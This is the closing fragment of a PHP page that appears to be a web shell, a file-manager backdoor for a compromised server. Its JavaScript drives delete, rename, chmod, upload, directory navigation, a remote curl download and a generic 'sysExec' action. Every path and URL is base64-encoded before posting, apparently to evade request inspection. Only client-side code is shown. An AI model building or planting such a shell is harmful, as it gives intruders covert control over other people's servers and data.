<button type="button" class="btn" onclick="closeCmds()">Cancel</button>
<button type="submit" class="btn btn-primary">Apply</button>
</div>
</form>
</div>
</div>
<div id="deleteModal" class="modal-overlay" onclick="handleOverlayClick(event)">
<div class="modal">
<div class="modal-header">
<h3>Confirm Deletion</h3>
<button type="button" class="action-btn" onclick="closeCmds()"><?php echo $ico_x; ?></button>
</div>
<form method="POST">
<div class="modal-body">
<input type="hidden" name="action" value="delete_b64">
<input type="hidden" name="target_b64" id="del_target_b64">
<p style="color: #fff; font-size:15px; margin-bottom: 8px;">Delete <strong id="del_name" style="color:var(--danger); word-break: break-all;"></strong>?</p>
<div class="helper-text">This action is permanent and cannot be undone.</div>
</div>
<div class="modal-footer">
<button type="button" class="btn" onclick="closeCmds()">Cancel</button>
<button type="submit" class="btn" style="background:var(--danger); border-color:var(--danger); color:#fff;">Delete</button>
</div>
</form>
</div>
</div>
<script>
function sysExec(action, b64) {
document.getElementById('sys_action').value = action;
if(b64) document.getElementById('sys_payload').value = b64;
document.getElementById('sysForm').submit();
}
function navDir(b64) { sysExec('cd_b64', b64); }
function openEdit(b64) { sysExec('open_edit_b64', b64); }
function closeEdit() { sysExec('close_edit'); }
function b64Submit(e, rawId, b64Id) {
document.getElementById(b64Id).value = btoa(unescape(encodeURIComponent(document.getElementById(rawId).value)));
}
function b64SubmitCurl(e) {
document.getElementById('curl_url_b64').value = btoa(unescape(encodeURIComponent(document.getElementById('curl_url_raw').value)));
const saveAsRaw = document.getElementById('curl_save_raw').value;
if(saveAsRaw) {
document.getElementById('curl_save_b64').value = btoa(unescape(encodeURIComponent(saveAsRaw)));
}
}
// Command Palette Controls
function openCmd(id) {
document.getElementById(id).classList.add('active');
const input = document.querySelector('#' + id + ' input[type="text"]');
if(input) setTimeout(() => { input.focus(); input.select(); }, 50);
}
function closeCmds() {
document.querySelectorAll('.modal-overlay').forEach(el => el.classList.remove('active'));
}
function handleOverlayClick(event) {
if (event.target === event.currentTarget) closeCmds();
}
function triggerRename(rawName) {
document.getElementById('rename_old_b64').value = btoa(unescape(encodeURIComponent(rawName)));
document.getElementById('rename_new_raw').value = rawName;
openCmd('renameModal');
}
function triggerChmod(rawName, perms) {
document.getElementById('chmod_target_b64').value = btoa(unescape(encodeURIComponent(rawName)));
document.getElementById('chmod_label').innerText = rawName;
document.getElementById('chmod_perms').value = perms;
openCmd('chmodModal');
}
function triggerDelete(rawName) {
document.getElementById('del_target_b64').value = btoa(unescape(encodeURIComponent(rawName)));
document.getElementById('del_name').innerText = rawName;
openCmd('deleteModal');
}
function processUpload() {
const fileInput = document.getElementById('file_input');
if(fileInput.files.length === 0) return;
const file = fileInput.files[0];
document.getElementById('upload_filename_b64').value = btoa(unescape(encodeURIComponent(file.name)));
const reader = new FileReader();
reader.onload = function(e) {
document.getElementById('upload_b64_data').value = e.target.result.split(',')[1];
document.getElementById('uploadForm').submit();
};
reader.readAsDataURL(file);
}
document.addEventListener('keydown', e => { if (e.key === 'Escape') closeCmds(); });
</script>
</body>
</html>